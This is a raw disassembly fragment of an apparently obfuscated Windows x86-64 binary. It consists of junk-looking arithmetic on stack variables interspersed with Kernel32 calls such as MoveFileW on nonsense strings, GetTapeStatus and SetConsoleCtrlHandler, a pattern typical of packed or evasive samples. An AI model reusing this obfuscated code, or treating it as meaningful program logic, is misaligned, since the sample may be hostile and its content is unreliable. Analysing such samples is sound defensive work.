movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
movzx ecx, byte [rbp + 0x58f3]
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x5b78]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x241d8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x4f66]
xor eax, edx
mov word [rbp + 0x5bcc], ax
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x24278]
mov dword [rax], edx
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
and eax, edx
mov dword [rbp + 0x4fd0], eax
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1142]
sub eax, edx
mov word [rbp + 0x12f8], ax
movzx edx, byte [rbp + 0x2433]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x17c0]
and edx, eax
mov rax, qword [rbp + 0x242a0]
mov dword [rax], edx
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [rbp + 0x4fd0]
mov rax, qword [rbp + 0x25e8]
add edx, ecx
mov dword [rax], edx
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0xe98]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [rbp + 0x18c4]
mov edx, dword [rbp + 0x54e8]
mov rax, qword [rbp + 0x2468]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
add eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x1142], ax
mov edx, dword [rbp + 0x34fc]
mov eax, dword [rbp + 0x4fd0]
xor eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
or edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x18b0], eax
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0x4fd0]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
and eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2b36]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x241d8]
mov word [rax], dx
movzx eax, byte [rbp + 0x569f]
mov edx, eax
movzx eax, byte [rbp + 0x4d83]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, word [rbp + 0x1142]
movzx edx, word [rbp + 0x1e9e]
sub eax, edx
mov word [rbp + 0x12f8], ax
movzx edx, byte [rbp + 0x1b1f]
movzx eax, byte [rbp + 0x1c57]
add edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2de0]
and edx, eax
mov rax, qword [rbp + 0x23b58]
mov dword [rax], edx
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1c57], al
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
movzx edx, word [rbp + 0x12f8]
sub eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x3378]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x5c40]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [rbp + 0x34fc]
mov eax, dword [0x140176030]
xor edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x13a8]
or eax, edx
mov dword [rbp + 0x18c4], eax
movzx eax, word [rbp + 0x12f8]
movzx edx, ax
movzx eax, word [rbp + 0x1142]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x1b1f], al
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x24200]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x5bcc]
add eax, edx
mov word [rbp + 0x2b36], ax
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx ecx, word [rbp + 0x12f8]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
and edx, ecx
mov byte [rax], dl
add dword [rbp + 0x24284], 0x74
mov edx, dword [rbp + 0x18c4]
mov eax, dword [rbp + 0x17c0]
add edx, eax
mov rax, qword [rbp + 0x242a0]
mov dword [rax], edx
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov eax, dword [rbp + 0x13a8]
add eax, edx
mov dword [rbp + 0x31e4], eax
mov rax, qword [rbp + 0x5c40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x34fc], eax
cmp dword [rbp + 0x24284], 0xbfe5
jbe 0x14000baee
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov r8d, edx
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1b1f]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
je 0x14000bfbe
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
call fcn.14015ac03
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
xor edx, eax
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
and eax, ecx
cmp dx, ax
jae 0x14000c08d
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
cwde
cmp eax, 0x277b
je 0x14000c06f
cmp eax, 0x2f6f
jne 0x14000c08d
mov rax, qword [rbp + 0x5c40]
mov ecx, dword [rax]
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x25e8]
add edx, ecx
mov dword [rax], edx
lea rcx, [rbp + 0x5c40]
mov rdx, qword [rbp + 0x1120]
mov rax, qword [rbp + 0x23b48]
mov r9d, 0x99
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call rax
mov dword [rbp + 0x2764], eax
movzx edx, byte [rbp + 0x316b]
movzx eax, byte [rbp + 0x1b1f]
add eax, edx
mov byte [rbp + 0x1c57], al
jmp 0x14000c08d
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
add edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
nop
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x809
jne 0x14000c180
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
cmp eax, 0x22
je 0x14000c0b9
cmp eax, 0x4c
jmp 0x14000c0e8
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx ecx, al
movzx eax, byte [rbp + 0x1b1f]
movzx edx, al
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx eax, al
mov r8d, ecx
mov ecx, eax
call fcn.14015a391
nop
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
xor eax, edx
mov dword [rbp + 0x54e8], eax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetUserGeoID]
call rax
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
movzx eax, word [rbp + 0x12f8]
movzx edx, ax
movzx eax, word [rbp + 0x1142]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x23d7]
or edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
jmp 0x140159442
lea rax, [rbp + 0x2b36]
mov qword [rbp + 0x1cb8], rax
movzx eax, byte [rbp + 0x569f]
movsx eax, al
cmp eax, 0x12
je 0x14000c1a7
cmp eax, 0x19
je 0x14000c1c2
jmp 0x14000c601
mov rax, qword [rbp + 0x23b48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTapeStatus]
call rax
mov dword [rbp + 0x23ac], eax
jmp 0x14000c1dd
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov eax, dword [rbp + 0x5138]
sub edx, eax
mov rax, qword [rbp + 0x23b58]
mov dword [rax], edx
nop
jmp 0x14000c601
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
and eax, edx
mov dword [rbp + 0xf2c], eax
movzx edx, byte [rbp + 0x1b1f]
movzx eax, byte [rbp + 0x316b]
add edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x1142]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
mov edx, dword [0x140176030]
mov eax, dword [rbp + 0xf2c]
sub edx, eax
mov dword [rbp + 0x34fc], edx
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x17c0]
add eax, edx
mov dword [rbp + 0x54e8], eax
mov rax, qword [rbp + 0x5c40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0xe98]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x34fc], edx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1b1f], al
mov rax, qword [rbp + 0x24228]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1142]
mov rax, qword [rbp + 0x2b98]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24278]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25e8]
mov eax, dword [rax]
xor eax, edx
mov dword [0x140170314], eax
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4fd0]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x8ec], eax
mov r8d, dword [rbp + 0xc4]
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x5008]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0x4fd0]
sub edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
movzx eax, word [rbp + 0x2b36]
mov edx, eax
movzx eax, word [rbp + 0x5bcc]
add eax, edx
mov word [rbp + 0x4f66], ax
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x569f]
and eax, edx
mov byte [rbp + 0x23d7], al
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2433], al
mov rax, qword [rbp + 0x24218]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov eax, dword [rbp + 0x17c0]
sub edx, eax
mov dword [rbp + 0x31e4], edx
mov rax, qword [rbp + 0x242a0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
add eax, edx
mov dword [0x140170318], eax
add dword [rbp + 0x241b0], 0xe2
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
add edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
mov rax, qword [rbp + 0x24218]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x25e8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x31e4]
add edx, eax
mov rax, qword [rbp + 0x23b58]
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [0x140176030]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
or edx, ecx
mov dword [rax], edx
movzx edx, byte [rbp + 0x1c57]
movzx eax, byte [rbp + 0x1b1f]
xor edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
movzx eax, word [rbp + 0x1e9e]
movzx edx, ax
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x2b98]
mov word [rax], dx
mov rax, qword [rbp + 0x242a0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x13a8]
and eax, edx
mov dword [0x140170318], eax
mov edx, dword [rbp + 0x34fc]
mov eax, dword [0x140176030]
add eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x241d8]
movzx edx, word [rax]
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
and edx, eax
mov rax, qword [rbp + 0x241d8]
mov word [rax], dx
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
add edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
mov edx, dword [0x140170318]
mov rax, qword [rbp + 0x24278]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x23b58]
mov dword [rax], edx
mov rax, qword [rbp + 0x5c40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xc4], edx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [0x140170318], eax
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xc4]
xor eax, edx
mov dword [rbp + 0xf2c], eax
cmp dword [rbp + 0x241b0], 0xb64b
jbe 0x14000c1e2
jmp 0x14000c74a
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
or edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
movzx eax, word [rbp + 0x12f8]
movzx edx, ax
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0xf2c], eax
mov ecx, dword [rbp + 0x13a8]
mov edx, dword [rbp + 0x2de0]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
add dword [rbp + 0x24294], 0xee
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
add eax, edx
mov dword [rbp + 0x8ec], eax
mov rax, qword [rbp + 0x25e8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4fd0]
sub edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
movzx eax, word [rbp + 0x12f8]
movzx edx, word [rbp + 0x1e9e]
sub eax, edx
mov word [rbp + 0x1142], ax
movzx edx, word [rbp + 0x1142]
movzx eax, word [rbp + 0x12f8]
and eax, edx
mov word [0x140170310], ax
movzx eax, word [rbp + 0x5bcc]
mov edx, eax
movzx eax, word [rbp + 0x4f66]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2b36], ax
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x569f]
add edx, eax
mov rax, qword [rbp + 0x5b78]
mov byte [rax], dl
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov rax, qword [rbp + 0x242a0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x31e4], eax
cmp dword [rbp + 0x24294], 0x10a2a
jne 0x14000c616
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
test eax, eax
je 0x14000c779
cmp eax, 0x21
je 0x140159360
jmp 0x14015942a
mov rax, qword [rbp + 0x242a0]
mov eax, dword [rax]
mov dword [rbp + 0x3338], eax
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
test eax, eax
je 0x14000c8c0
cmp eax, 0x43fbe162
jne 0x1401592a3
movzx eax, word [rbp + 0x5bcc]
movsx edx, ax
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
cwde
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x1cb8]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
cwde
add eax, edx
cmp ecx, eax
jl 0x14000c867
movzx eax, byte [rbp + 0x316b]
movzx eax, al
cmp eax, 0xb1
je 0x14000c818
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
jmp 0x14000c819
nop
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
xor eax, edx
mov dword [rbp + 0xc4], eax
mov edx, dword [rbp + 0xc4]
mov eax, dword [rbp + 0x4fd0]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
lea rax, [rbp + 0x23e0]
mov rdx, rax
mov ecx, 0x81
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov dword [rbp + 0x23b8c], eax
mov rax, qword [rbp + 0xe98]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
sub edx, eax
mov dword [rbp + 0x8ec], edx
lea rax, str.DistractingFebrile
mov rdx, rax
lea rax, str.ultramarineEncoderupsetting
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileW]
call rax
mov dword [rbp + 0x23b44], eax
mov rax, qword [rbp + 0x242a0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x5138]
add edx, eax
mov rax, qword [rbp + 0x242a0]
mov dword [rax], edx
jmp 0x1401592a3
mov rax, qword [rbp + 0x23b90]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2b36]
or edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov eax, dword [rbp + 0x8ec]
mov ecx, edx
and ecx, eax
mov rax, qword [rbp + 0x25e8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
sub edx, eax
cmp ecx, edx
jne 0x14015926b
movzx eax, byte [rbp + 0x4d83]
movsx edx, al
movzx eax, byte [rbp + 0x569f]
movsx eax, al
lea ecx, [rdx + rax]
movzx eax, byte [rbp + 0x23d7]
movsx edx, al
movzx eax, byte [rbp + 0x58f3]
movsx eax, al
add eax, edx
cmp ecx, eax
jle 0x14000caa4
mov edx, dword [rbp + 0x5138]
mov eax, dword [rbp + 0x54e8]
sub edx, eax
mov dword [rbp + 0x40c0], edx
lea rcx, [rbp + 0x1040]
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x34fc]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0xdd
mov rdx, rax
lea rax, str.PermeatehangoverdesecratedChirping
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CheckNameLegalDOS8Dot3W]
call rax
mov dword [rbp + 0x23b54], eax
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x4fd0]
mov rax, qword [rbp + 0x3f40]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x569f]
movsx eax, al
add edx, eax
mov rax, qword [rbp + 0x5b78]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x58f3]
or eax, ecx
movsx eax, al
cmp edx, eax
jl 0x14000caa4
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0xda
jne 0x14000ca69
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov dword [rbp + 0x1434], eax
movzx edx, byte [rbp + 0x569f]
movzx eax, byte [rbp + 0x4d83]
xor eax, edx
movsx ecx, al
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
sub edx, eax
cmp ecx, edx
jle 0x14000cc73
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25e8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x2b36]
cwde
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x5bcc]
movsx edx, ax
mov rax, qword [rbp + 0x1cb8]
movzx eax, word [rax]
cwde
add eax, edx
cmp ecx, eax
jl 0x14000cc3a
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x569f]
and eax, edx
movsx ecx, al
movzx eax, byte [rbp + 0x58f3]
movsx edx, al
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
movsx eax, al
sub edx, eax
cmp ecx, edx
je 0x14000ccc4
movzx edx, byte [rbp + 0x1b1f]
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x316b], al
movzx eax, word [rbp + 0x12f8]
movzx ecx, word [rbp + 0x1e9e]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
nop
lea rax, str.DongCalculate
mov rdx, rax
lea rax, str.tiptoe_teleologymurdercoalesce
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileW]
call rax
mov dword [rbp + 0x2764], eax
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x40f0]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1e9e]
sub eax, edx
mov word [rbp + 0x1142], ax
mov r8, qword [rbp + 0x1040]
mov rcx, qword [rbp + 0x5e38]
mov r10, qword [rbp + 0x15a0]
mov rax, qword [rbp + 0x5e38]
mov rdx, qword [rbp + 0x23b70]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
mov r9d, 0x1c
mov r8, r10
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SearchPathW]
call rax
mov dword [rbp + 0x376c], eax
mov ecx, dword [rbp + 0x4fd0]
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x5c40]
sub ecx, edx
mov dword [rax], ecx
jmp 0x14015942a
mov eax, dword [rbp + 0x40c0]
cmp eax, 0x16582af5
jne 0x1401593fd
movzx eax, word [rbp + 0x12f8]
movzx edx, ax
movzx eax, word [rbp + 0x1e9e]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x2b98]
mov word [rax], dx
movzx edx, byte [rbp + 0x2433]
movzx eax, byte [rbp + 0x1b1f]
xor eax, edx
mov byte [rbp + 0x1c57], al
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x23b48], rax
mov rax, qword [rbp + 0x3378]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, 0
lea rax, [fcn.14015a391]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call rax
mov dword [rbp + 0x23b54], eax
jmp 0x140159429
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0x4fd0]
or eax, edx
mov dword [rbp + 0xc4], eax
mov edx, dword [rbp + 0xc4]
mov eax, dword [rbp + 0xf2c]
and edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
nop
nop
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [0x140176030]
add eax, edx
mov dword [rbp + 0x8ec], eax
nop
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1142]
movzx eax, ax
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx eax, ax
sub edx, eax
cmp ecx, edx
jge 0x1401594bd
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x18c4], eax
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov eax, dword [0x140170318]
add edx, eax
mov rax, qword [rbp + 0x242a0]
mov dword [rax], edx
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
and eax, edx
mov dword [0x140170314], eax
mov r8d, dword [rbp + 0x155c]
